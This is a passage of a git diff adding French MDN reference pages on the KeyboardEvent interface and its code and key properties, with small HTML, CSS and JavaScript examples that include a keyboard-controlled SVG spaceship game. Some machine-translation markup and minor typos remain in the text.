+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Définition initiale; Déprécié</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.KeyboardEvent.charCode")}}</p>
+
+<div id="compat-desktop"></div>
+
+<div id="compat-mobile"></div>
diff --git a/files/fr/web/api/keyboardevent/code/index.html b/files/fr/web/api/keyboardevent/code/index.html
new file mode 100644
index 0000000000..dee3e236e0
--- /dev/null
+++ b/files/fr/web/api/keyboardevent/code/index.html
@@ -0,0 +1,217 @@
+---
+title: KeyboardEvent.code
+slug: Web/API/KeyboardEvent/code
+tags:
+  - API
+  - Code
+  - DOM Events
+  - KeyboardEvent
+  - Propriété
+  - Reference
+translation_of: Web/API/KeyboardEvent/code
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><span class="seoSummary">La propriété <strong><code>KeyboardEvent.code</code></strong> représente une touche physique du clavier (contrairement au caractère généré par celle-ci). En d'autres termes, cette propriété retourne une valeur qui n'est pas modifiée par la disposition du clavier ou l'état des touches de modification.</span></p>
+
+<p>Si le clavier n'est pas physique, la valeur retournée sera définie par le navigateur pour être le plus proche possible des valeurs retournées par un clavier physique afin de maximiser la compatibilité entre un clavier physique et virtuel.</p>
+
+<p>Cette propriété est utile quand vous souhaitez manipuler les clés en fonction de leur position physique sur le clavier et non les caractères associés au clés (par exemple pour les touches de déplacement d'un jeu vidéo). Attention toutefois, on ne pourra pas utiliser la valeur fournie par <code>KeyboardEvent.code</code> afin de déterminer le caractère utilisé sur le clavier.</p>
+
+<p>Par exemple, le <code>code</code> retourné est <code>"KeyQ"</code> pour le caractère "<kbd>q</kbd>" sur un clavier QWERTY, mais le même <code>code</code> représente le caractère "<kbd>'</kbd>"  sur un clavier Dvorak, et le caractère "<kbd>a</kbd>" sur un clavier AZERTY. Cela rend impossible l'utilisation du <code>code</code> pour déterminer le code d'une clé destiné aux utilisateurs s'ils n'utilisent pas une disposition de clavier anticipé.</p>
+
+<p>Pour déterminer quel caractère correspond à un <code>key event</code>, utilisez plutôt la propriété {{domxref("KeyboardEvent.key")}}.</p>
+
+<h2 id="Valeurs_des_codes">Valeurs des codes</h2>
+
+<p>Les valeurs de code pour Windows, Linux et macOS figurent dans la liste de la <a href="/fr/docs/Web/API/KeyboardEvent/code/code_values">KeyboardEvent: code values</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Pratiquer_KeyboardEvent">Pratiquer <code>KeyboardEvent</code></h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+   Appuyez sur une touche du clavier pour voir quelle valeur clé de
+   KeyboardEvent correspond à chaque événement
+&lt;/p&gt;
+&lt;div id="output"&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">#output {
+  font-family: Arial, Helvetica, sans-serif;
+  border: 1px solid black;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">window.addEventListener("keydown", function(event) {
+  let str = "KeyboardEvent: key='" + event.key + "' | code='" +
+            event.code + "'";
+  let el = document.createElement("span");
+  el.innerHTML = str + "&lt;br/&gt;";
+
+  document.getElementById("output").appendChild(el);
+}, true);</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>Pour essayer ce code, cliquez sur le lien ci-dessous:</p>
+
+<p>{{EmbedLiveSample('Pratiquer_KeyboardEvent', 600, 300) }}</p>
+
+<h3 id="Gérer_les_événements_de_clavier_dans_un_jeu"><span class="tlid-translation translation" lang="fr"><span title="">Gérer les événements de clavier dans un jeu</span></span></h3>
+
+<div class="text-wrap tlid-copy-target">
+<div class="result-shield-container tlid-copy-target"><span class="tlid-translation translation" lang="fr"><span title="">Cet exemple établit un écouteur d'événements pour</span></span> l'événement {{event("keydown")}}  <span class="tlid-translation translation" lang="fr"><span title="">qui gère la saisie au clavier pour un jeu qui utilise la disposition de clavier typique "ZQSD" pour se déplacer en avant, à gauche, en arrière et à droite.</span> <span title="">Cela utilisera les quatre mêmes touches physiquement, quels que soient les caractères correspondants, par exemple si l'utilisateur utilise un clavier QWERTY.</span></span></div>
+</div>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Appuyez sur les touches ZQSD (WASP sur QWERTY) pour bouger et pour vous diriger&lt;/p&gt;
+&lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1" class="world"&gt;
+  &lt;polygon id="spaceship" points="15,0 0,30 30,30"/&gt;
+&lt;/svg&gt;
+&lt;script&gt;refresh();&lt;/script&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.world {
+  margin: 0px;
+  padding: 0px;
+  background-color: black;
+  width: 400px;
+  height: 400px;
+}
+
+#spaceship {
+  fill: orange;
+  stroke: red;
+  stroke-width: 2px;
+}</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<p>La première section du code JavaScript établit certaines variables que nous allons utiliser. <code>shipSize</code> contient la taille du vaisseau dans lequel le joueur se déplace, pour plus de commodité. <code>position</code> est utilisé pour suivre la position du vaisseau sur le terrain de jeu. <code>moveRate</code> et <code>turnRate</code> sont le nombre de pixels en avant et en arrière chaque fois que vous appuyez sur une touche pour déplacer le vaisseau et le nombre de degrés de rotation que les commandes de direction gauche et droite appliquent à chaque frappe. <code>angle</code> est la quantité actuelle de rotation appliquée au vaisseau, en degrés; il commence à 0 ° (pointant tout droit). Enfin, <code>spaceship</code> est défini pour faire référence à l'élément portant l'ID "spaceship", qui est le polygone SVG représentant le vaisseau que le joueur contrôle.</p>
+
+<pre class="brush: js">let shipSize = {
+  width: 30,
+  height: 30
+};
+
+let position = {
+  x: 200,
+  y: 200
+};
+
+let moveRate = 9;
+let turnRate = 5;
+
+let angle = 0;
+
+let spaceship = document.getElementById("spaceship");
+</pre>
+
+<p>Vient ensuite la fonction <code>updatePosition()</code>. Cette fonction prend en entrée la distance à laquelle le vaisseau doit être déplacé, où positif est un mouvement en avant et négatif est un mouvement en arrière. Cette fonction calcule la nouvelle position du vaisseau en fonction de la distance parcourue et de la direction actuelle du vaisseau. Il veille également à ce que le vaisseau franchisse les limites du terrain de jeu au lieu de disparaître.</p>
+
+<pre class="brush: js">function updatePosition(offset) {
+  let rad = angle * (Math.PI/180);
+  position.x += (Math.sin(rad) * offset);
+  position.y -= (Math.cos(rad) * offset);
+
+  if (position.x &lt; 0) {
+    position.x = 399;
+  } else if (position.x &gt; 399) {
+    position.x = 0;
+  }
+
+  if (position.y &lt; 0) {
+    position.y = 399;
+  } else if (position.y &gt; 399) {
+    position.y = 0;
+  }
+}
+</pre>
+
+<p>La fonction <code>refresh()</code> <span class="tlid-translation translation" lang="fr"><span title="">gère l'application de la rotation et de la position à l'aide d'un</span></span> <a href="/en-US/docs/Web/SVG/Attribute/transform">SVG transform</a>.</p>
+
+<pre class="brush: js">function refresh() {
+  let x = position.x - (shipSize.width/2);
+  let y = position.y - (shipSize.height/2);
+  let transform = "translate(" + x + " " + y + ") rotate(" + angle + " 15 15) ";
+
+  spaceship.setAttribute("transform", transform);
+}
+</pre>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">Enfin, la méthode <code>addEventListener()</code> est utilisée pour commencer à écouter les événements {{event ("keydown")}}, en mettant à jour chaque touche en mettant à jour la position et l’angle de rotation du vaisseau, puis en appelant la méthode <code>refresh()</code> pour tracer le navire dans sa nouvelle position </span><span title="">et son nouvel angle.</span></span></p>
+
+<pre class="brush: js">window.addEventListener("keydown", function(event) {
+  if (event.preventDefaulted) {
+    return; // Do nothing if event already handled
+  }
+
+  switch(event.code) {
+    case "KeyS":
+    case "ArrowDown":
+      // Handle "back"
+      updatePosition(-moveRate);
+      break;
+    case "KeyW":
+    case "ArrowUp":
+      // Handle "forward"
+      updatePosition(moveRate);
+      break;
+    case "KeyA":
+    case "ArrowLeft":
+      // Handle "turn left"
+      angle -= turnRate;
+      break;
+    case "KeyD":
+    case "ArrowRight":
+      // Handle "turn right"
+      angle += turnRate;
+      break;
+  }
+
+  refresh();
+
+  // Consume the event so it doesn't get handled twice
+  event.preventDefault();
+}, true);</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>Pour essayer le code ci-dessus, cliquez sur le bouton ci-dessous:</p>
+
+<p>{{EmbedLiveSample("Handle_keyboard_events_in_a_game", 420, 460)}}</p>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">Ce code peut être amélioré de plusieurs manières.</span> <span title="">La plupart des jeux réels surveillent les événements</span></span> {{event("keydown")}}, <span class="tlid-translation translation" lang="fr"><span title="">démarrent le mouvement lorsque cela se produit et stoppent le mouvement lorsque l'événement</span></span> {{event("keyup")}} se produit, au lieu de compter sur des répétitions de touches. <span class="tlid-translation translation" lang="fr"><span title="">Cela permettrait des mouvements plus fluides et plus rapides, mais permettrait également au joueur de bouger et de diriger en même temps.</span> <span title="">Des transitions ou des animations peuvent également être utilisées pour rendre le mouvement du navire plus fluide.</span></span> Pour permettre cela, il ne faudrait pas utiliser de <code>switch</code>, ni de <code>else if</code>.ff</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#dom-keyboardevent-code', 'KeyboardEvent.code')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td>Définition initiale, inclut les <a href="https://w3c.github.io/uievents-code/">valeurs de code</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.KeyboardEvent.code")}}</p>
diff --git a/files/fr/web/api/keyboardevent/index.html b/files/fr/web/api/keyboardevent/index.html
new file mode 100644
index 0000000000..fe8ef03ea0
--- /dev/null
+++ b/files/fr/web/api/keyboardevent/index.html
@@ -0,0 +1,244 @@
+---
+title: KeyboardEvent
+slug: Web/API/KeyboardEvent
+tags:
+  - API
+  - DOM
+  - Evènements IU
+  - Interface
+  - Reference
+  - évènements
+translation_of: Web/API/KeyboardEvent
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p>Les objets <strong><code>KeyboardEvent</code></strong> décrivent l'interaction d'un utilisateur avec le clavier. Chaque événement décrit une touche ; le type d'événement (<code>keydown</code>, <code>keypress</code>, ou <code>keyup</code>) identifie quel type d'activité a été effectué.</p>
+
+<div class="note"><strong>Note :</strong> <code>KeyboardEvent</code> indique exactement ce qui est en train de se passer sur une touche. Lorsque vous devez gérer une saisie de texte, utilisez l'événement <code>input</code> HTML5 à la place. Par exemple, si un utilisateur saisit du texte à partir d'un système d'écriture à la main comme une tablette PC, les événements touche peuvent ne pas être déclenchés.</div>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}</dt>
+ <dd>Crée un objet <code>KeyboardEvent</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite également des méthodes de ses parents, {{domxref("UIEvent")}} et {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.getModifierState()")}}</dt>
+ <dd>Retourne un {{jsxref("Boolean")}} indiquant si une touche modifcatrice, telle que <kbd>Alt</kbd>, <kbd>Shift</kbd>, <kbd>Ctrl</kbd>, ou <kbd>Meta</kbd>, était pressée quand l'évènement a été créé.</dd>
+ <dt>{{domxref("KeyboardEvent.initKeyEvent()")}}{{deprecated_inline}}</dt>
+ <dd>Initialise un objet <code>KeyboardEvent</code>. Ceci a été implémenté seulement par Gecko (d'autres utilisaient {{domxref ("KeyboardEvent.initKeyboardEvent()")}}) et ne devrait plus être utilisé. La manière moderne standard consiste à utiliser le constructeur {{domxref ("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</dd>
+ <dt>{{domxref("KeyboardEvent.initKeyboardEvent()")}}{{deprecated_inline}}</dt>
+ <dd>Initialise un objet <code>KeyboardEvent</code>. Cela n'a jamais été implémenté par Gecko (qui utilisait {{domxref ("KeyboardEvent.initKeyEvent()")}}) et ne devrait plus être utilisé. La manière moderne standard consiste à utiliser le constructeur {{domxref ("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite également des propriétés de ses parents, {{domxref("UIEvent")}} et {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.altKey")}} {{Readonlyinline}}</dt>
+ <dd>Returne un {{jsxref("Boolean")}} qui est <code>true</code> si la touche <kbd>Alt</kbd> (<kbd>Option</kbd> ou <kbd>⌥</kbd> sous OS X) était active quand l'évènement touche a été généré.</dd>
+ <dt>{{domxref("KeyboardEvent.char")}} {{Non-standard_inline}}{{Deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Renvoie une {{domxref("DOMString")}} représentant la valeur de caractère de la touche. Si la touche correspond à un caractère imprimable, cette valeur est une chaîne Unicode non vide contenant ce caractère. Si la touche n'a pas de représentation imprimable, il s'agit d'une chaîne vide.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Note :</strong> si la touche est utilisée comme une macro insérant plusieurs caractères, la valeur de cet attribut est la chaîne entière, pas seulement le premier caractère.</p>
+ </div>
+ </dd>
+ <dd>
+ <div class="warning">
+ <p><strong>Avertissement :</strong> cela a été supprimé des DOM Level 3 Events. C'est pris en charge uniquement sur IE9 + et Microsoft Edge.</p>
+ </div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.charCode")}} {{Deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Retourne un {{jsxref ("Number")}} représentant le numéro de référence Unicode de la touche ; cet attribut est utilisé uniquement par l'événement <code>keypress</code>. Pour les touches dont l'attribut <code>char</code> contient plusieurs caractères, il s'agit de la valeur Unicode du premier caractère de cet attribut. Dans Firefox 26, cela retourne des codes pour les caractères imprimables.</dd>
+ <dd>
+ <div class="warning">
+ <p><strong>Avertissement :</strong> cet attribut est obsolète : vous devriez utiliser {{domxref("KeyboardEvent.key")}} à la place, si disponible.</p>
+ </div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.code")}} {{Readonlyinline}}</dt>
+ <dd>Retourne une {{domxref ("DOMString")}} avec la valeur du code de la touche représentée par l'événement.</dd>
+ <dt>{{domxref("KeyboardEvent.ctrlKey")}} {{Readonlyinline}}</dt>
+ <dd>Retourne un {{jsxref ("Boolean")}} qui est <code>true</code> si la touche <kbd>Ctrl</kbd> était active lorsque l'événement touche a été généré.</dd>
+ <dt>{{domxref("KeyboardEvent.isComposing")}} {{Readonlyinline}}</dt>
+ <dd>Renvoie un {{jsxref ("Boolean")}} qui est <code>true</code> si l'événement est déclenché après <code>compositionstart</code> et avant <code>compositionend</code>.</dd>
+ <dt>{{domxref("KeyboardEvent.key")}} {{Readonlyinline}}</dt>
+ <dd>Retourne une {{domxref ("DOMString")}} représentant la valeur de touche de la touche représentée par l'événement.</dd>
+ <dt>{{domxref("KeyboardEvent.keyCode")}} {{deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Retourne un {{jsxref("Number")}} représentant un code numérique dépendant du système et de l'implémentation, identifiant la valeur non modifiée de la touche pressée.
+ <div class="warning"><strong>Avertissement : </strong>cet attribut est obsolète. vous devriez utiliser {{domxref("KeyboardEvent.key")}} à la place, si disponible.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.keyIdentifier")}} {{Non-standard_inline}}{{deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Cette propriété n'est pas standard et a été abandonnée en faveur de {{domxref("KeyboardEvent.key")}}. Elle faisait partie d'une ancienne version de DOM Level 3 Events.</dd>
+ <dt>{{domxref("KeyboardEvent.keyLocation")}} {{Non-standard_inline}}{{deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>C'est un alias obsolète non standard pour {{domxref("KeyboardEvent.location")}}. Il faisait partie d'une ancienne version de DOM Level 3 Events.</dd>
+ <dt>{{domxref("KeyboardEvent.locale")}} {{Readonlyinline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} représentant une chaîne de paramètres régionaux indiquant les paramètres régionaux pour lesquels le clavier est configuré. Cela peut être une chaîne vide si le navigateur ou l'appareil ne connaît pas les paramètres régionaux du clavier.
+ <div class="note"><strong>Note :</strong> cela ne décrit pas les paramètres régionaux des données entrées. Un utilisateur peut utiliser une disposition du clavier donnée, tout en saisissant du texte dans une autre langue.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.location")}}<a> {{Readonlyinline}}</a></dt>
+ <dd>Retourne un {{jsxref ("Number")}} représentant l'emplacement de la touche du clavier ou tout autre dispositif d'entrée.</dd>
+ <dt>{{domxref("KeyboardEvent.metaKey")}} {{Readonlyinline}}</dt>
+ <dd>Retourne un {{jsxref("Boolean")}} qui est <code>true</code> si la touche <kbd>Meta</kbd> (sur les claviers Mac, la touche <kbd>⌘ Command</kbd> ; sur les claviers Windows, la touche Windows (<kbd>⊞</kbd>)) était active quand l'évènement touche a été généré.</dd>
+ <dt>{{domxref("KeyboardEvent.repeat")}} {{Readonlyinline}}</dt>
+ <dd>Retourne un {{jsxref("Booléen")}} qui est <code>true</code> si la touche est maintenue enfoncée de telle sorte qu'elle se répète automatiquement.</dd>
+ <dt>{{domxref("KeyboardEvent.shiftKey")}} {{Readonlyinline}}</dt>
+ <dd>Retourne un {{jsxref("Boolean")}} qui est <code>true</code> si la touche <kbd>Shift</kbd> était active quand l'évènement touche a été généré.</dd>
+ <dt>{{domxref("KeyboardEvent.which")}} {{deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Retourne un {{jsxref("Number")}} représentant un code numérique dépendant du système et de l'implémentation, identifiant la valeur non modifiée de la touche pressée ; c'est généralement le même que <code>keyCode</code>.
+ <div class="warning"><strong>Avertissement :</strong> cet attribut est obsolète ; vous devriez utiliser {{domxref("KeyboardEvent.key")}} à la place, si disponible.</div>
+ </dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Les événements existants sont <code>keydown</code>, <code>keypress</code> et <code>keyup</code>. Pour la plupart des touches, Gecko génère une suite d'événements touche comme suit :</p>
+
+<ol>
+ <li>lorsque la touche est d'abord enfoncée, l'événement <code>keydown</code> est envoyé ;</li>
+ <li>si la touche n'est pas une touche de modification, l'événement <code>keypress</code> est envoyé ;</li>
+ <li>lorsque l'utilisateur relâche la touche, l'événement <code>keyup</code> est envoyé.</li>
+</ol>
+
+<h3 id="Cas_particuliers">Cas particuliers</h3>
+
+<p>Certaines touches inversent l'état d'un voyant lumineux ; celles-ci comprennent des touches telles que Caps Lock, Num Lock et Scroll Lock. Sous Windows et Linux, ces touches génèrent uniquement les événements <code>keydown</code> et <code>keyup</code>.</p>
+
+<div class="note">
+<p>Sous Linux, Firefox 12 et les versions antérieures ont également envoyé l'événement <code>keypress</code> pour ces touches.</p>
+</div>
+
+<p>Cependant, une limitation du modèle d'événement Mac OS X fait que Caps Lock ne génère que l'événement <code>keydown</code>. Num Lock était supporté sur certains modèles d'ordinateurs portables plus anciens (modèles 2007 et plus anciens), mais depuis lors, Mac OS X n'a pas supporté Num Lock même sur les claviers externes. Sur les MacBooks plus anciens avec une touche Num Lock, cette touche ne génère aucun événement touche. Gecko supporte la touche Scroll Lock si un clavier externe ayant une touche F14 est connecté. Dans certaines anciennes versions de Firefox, cette touche générait un événement <code>keypress</code> ; ce comportement incohérent était le {{bug(602812)}}.</p>
+
+<h3 id="Gestion_de_l'auto-répétition">Gestion de l'auto-répétition</h3>
+
+<p> </p>
+
+<p>Lorsqu'une touche est maintenue enfoncée, elle commence à se répéter automatiquement. Cela a pour résultat qu'une suite d'événements similaire à ce qui suit est générée :</p>
+
+<ol>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li>&lt;&lt; répétition jusqu'à ce que l'utilisateur relâche la touche &gt;&gt;</li>
+ <li><code>keyup</code></li>
+</ol>
+
+<p>C'est ce que la spécification DOM Niveau 3 dit qu'il devrait se produire. Cependant, il y a quelques mises en garde, comme décrit ci-dessous.</p>
+
+<p> </p>
+
+<h4 id="Auto-répétition_sur_certains_environnements_GTK_tels_que_Ubuntu_9.4">Auto-répétition sur certains environnements GTK tels que Ubuntu 9.4</h4>
+
+<p>Dans certains environnements basés sur GTK, l'auto-répétition génère automatiquement un événement natif lors de la répétition automatique, et Gecko n'a aucun moyen de connaître la différence entre une suite répétée de touches et une répétition automatique. Sur ces plateformes, une touche auto-répétée génère donc la suite d'événements suivante :</p>
+
+<ol>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keyup</code></li>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keyup</code></li>
+ <li>&lt;&lt; répétition jusqu'à ce que l'utilisateur relâche la touche &gt;&gt;</li>
+ <li><code>keyup</code></li>
+</ol>
+
+<p>Dans ces environnements, malheureusement, il n'y a aucun moyen pour que le contenu Web puisse faire la différence entre les touches répétées automatiquement et les touches qui sont simplement pressées à plusieurs reprises.</p>
+
+<h4 id="Gestion_de_l'auto-répétition_avant_Gecko_5.0">Gestion de l'auto-répétition avant Gecko 5.0</h4>
+
+<p>Avant Gecko 5.0 {{geckoRelease('5.0')}}, la gestion du clavier était moins cohérente entre les plates-formes.</p>
+
+<dl>
+ <dt>Windows</dt>
+ <dd>Le comportement de la répétition automatique est le même que dans Gecko 4.0 et ultérieur.</dd>
+ <dt>Mac</dt>
+ <dd>Après l'événement keydown initial, seuls les événements keypress sont envoyés jusqu'à ce que l'événement keyup se produise ; les événements de clavier intermédiaires ne sont pas envoyés.</dd>
+ <dt>Linux</dt>
+ <dd>Le comportement de l'événement dépend de la plate-forme particulière. Il se comportera comme Windows ou Mac suivant ce que fait le modèle d'événement natif.</dd>
+</dl>
+
+<p class="note"><strong>Note :</strong> le déclenchement manuel d'un événement ne génère <em>pas</em> l'action par défaut associée à cet événement. Par exemple, le déclenchement manuel d'un événement touche n'entraîne pas l'apparition de cette lettre dans une zone de saisie de texte ayant la focalisation. Dans le cas des événements de l'interface utilisateur, cela est important pour des raisons de sécurité, car cela empêche les scripts de simuler les actions de l'utilisateur interagissant avec le navigateur lui-même.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;script&gt;
+'use strict';
+
+document.addEventListener('keydown', (event) =&gt; {
+  const nomTouche = event.key;
+
+  if (nomTouche === 'Control') {
+    // Pas d'alerte si seule la touche Control est pressée.
+    return;
+  }
+
+  if (event.ctrlKey) {
+    // Même si event.key n'est pas 'Control' (par ex., 'a' is pressed),
+    // event.ctrlKey peut être true si la touche Ctrl est pressée dans le même temps.
+    alert(`Combinaison de ctrlKey + ${nomTouche}`);
+  } else {
+    alert(`Touche pressée ${nomTouche}`);
+  }
+}, false);
+
+document.addEventListener('keyup', (event) =&gt; {
+  const nomTouche = event.key;
+
+  // Dès que l'utilisateur relâche la touche Ctrl, la touche n'est plus active.
+  // Aussi event.ctrlKey est false.
+  if (nomTouche === 'Control') {
+    alert('La touche Control a été relâchée');
+  }
+}, false);
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#interface-keyboardevent', 'KeyboardEvent')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La spécification d'interface <code>KeyboardEvent</code> est passée par de nombreuses versions préliminaires, d'abord sous DOM Events Level 2 où elle a été supprimée du fait qu'aucun consensus n'avait émergé, puis sous DOM Events Level 3. Cela conduit à l'implémentation de méthodes d'initialisation non standard, la version ancienne DOM Events Level 2, {{domxref("KeyboardEvent.initKeyEvent()")}} par les navigateurs Gecko et la version prémiminaire DOM Events Level 3, {{domxref("KeyboardEvent.initKeyboardEvent()")}} par d'autres navigateurs. Tous deux ont été remplacés par l'utilisation moderne d'un constructeur : {{domxref ("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.KeyboardEvent")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("KeyboardEvent.code")}}.</li>
+ <li>{{domxref("KeyboardEvent.key")}}.</li>
+ <li>{{domxref("KeyboardEvent.getModifierState")}}</li>
+</ul>
diff --git a/files/fr/web/api/keyboardevent/key/index.html b/files/fr/web/api/keyboardevent/key/index.html
new file mode 100644
index 0000000000..cf51e90dc4
--- /dev/null
+++ b/files/fr/web/api/keyboardevent/key/index.html
@@ -0,0 +1,227 @@
+---
+title: KeyboardEvent.key
+slug: Web/API/KeyboardEvent/key
+tags:
+  - API
+  - DOM
+  - KeyboardEvent
+  - Lecture-seule
+  - Propriété
+  - Reference
+  - UI Events
+translation_of: Web/API/KeyboardEvent/key
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>La propriété en lecture seule de <code>key</code> de l'interface {{domxref("KeyboardEvent")}} retourne la valeur d’une ou plusieurs touches pressées par l’utilisateur, tout en tenant compte de l'état des touches de modification telles que la touche <kbd>Shift</kbd> (<em>majuscules</em>) ainsi que les paramètres régionaux des clavier et mise en page. Ce peut être l’une des valeurs suivantes :</p>
+
+<div class="pull-aside moreinfo">
+<h4 id="Valeurs_des_touches">Valeurs des touches</h4>
+
+<p>Voir une liste complète des <a href="https://developer.mozilla.org/fr/docs/Web/API/KeyboardEvent/key/Key_Values">valeurs de touches</a></p>
+</div>
+
+<ul>
+ <li>
+  <p>Si la valeur a une représentation d’impression, ce sera une chaîne de caractères Unicode non vide</p>
+ </li>
+ <li>Si la valeur est une touche de contrôle, une des <a href="#Key_values">valeurs de touches pré-définies</a>.</li>
+ <li>Si l’<code>KeyboardEvent</code> est causé par l’appui sur une touche morte, la valeur de la touche sera "<code>Dead</code>".</li>
+ <li>Certaines touches de clavier spécialisées (telles que les touches étendues de contrôle des médias sur les claviers multimédias) ne génèrent pas de codes de touches sous Windows ; à la place, ils déclenchent les événements <code>WM_APPCOMMAND</code>. Ces événements sont connectés aux événements de clavier DOM et sont répertoriés parmi les «codes de touche virtuelle» pour Windows, même s'ils ne sont pas réellement des codes de touche.</li>
+ <li>Si la valeur ne peut être identifiée, '<code>Unidentified</code>' sera retourné.</li>
+</ul>
+
+<h2 id="Séquence_KeyboardEvent">Séquence KeyboardEvent</h2>
+
+<p>Les événements <code>KeyboardEvents</code> sont déclenchés selon une séquence prédéterminée, et la compréhension de ces éléments contribuera à comprendre la valeur de la propriété <code>key</code> pour un événement <code>KeyboardEvent</code> particulier. Pour une touche donnée, la séquence de KeyboardEvents est la suivante, en supposant que {{domxref ("Event.preventDefault")}} n'est pas appelée :</p>
+
+<ol>
+ <li>Un événement {{domxref("Element/keydown_event", "keydown")}} (<em>touche abaissée</em>) est d'abord déclenché. Si la touche est maintenue enfoncée et que la touche est une touche de caractère, l'événement continue d'être émis dans un intervalle dépendant de l'implémentation de la plateforme, et la propriété en lecture seule {{domxref ("KeyboardEvent.repeat")}} est définie sur <code>true</code> (<em>vrai</em>).</li>
+ <li>Si la touche est une touche de caractère qui entraînerait l'insertion d'un caractère dans {{HTMLElement ("entrée")}}, {{HTMLElement ("textarea")}} ou un élément dont {{domxref ("HTMLElement. contentEditable ")}} a la valeur <code>true</code>, les types d'événements {{domxref("HTMLElement/beforeinput_event", "beforeinput")}} et {{domxref("HTMLElement/input_event", "input")}} sont déclenchés dans cet ordre. Notez que d'autres implémentations peuvent déclencher l'événement {{event ("keypress")}} si elles sont prises en charge. Les événements seront déclenchés à plusieurs reprises tant que la touche est maintenue enfoncée.</li>
+ <li>Un évènement {{domxref("Element/keyup_event", "keyup")}} est déclenché une fois la touche relachée. Ceci complète le processus.</li>
+</ol>
+
+<p>Dans les étapes 1 et 3, l'attribut <code>KeyboardEent.key</code> est défini et est déclaré à une valeur appropriée en fonction des règles définies.</p>
+
+<h2 id="Exemple_de_séquence_KeyboardEvent">Exemple de séquence KeyboardEvent</h2>
+
+<p>Considérez la séquence d'événements générée lorsque nous interagissons avec la touche <kbd>Shift</kbd> et la touche <kbd>2</kbd> en utilisant un clavier américain et un clavier britannique.</p>
+
+<p>Essayez d'expérimenter en utilisant les deux cas de test suivants :</p>
+
+<ol>
+ <li>Maintenez la touche <kbd>shift</kbd> enfoncée, puis appuyez sur <kbd>2</kbd> et relâchez-la. Ensuite, relâchez la touche <kbd>shift</kbd>.</li>
+ <li>Maintenez la touche <code>shift</code> enfoncée, puis appuyez sur <kbd>2</kbd>. Relâchez la touche <kbd>shift</kbd>. Finalement, relâchez la touche <kbd>2</kbd>.</li>
+</ol>
+
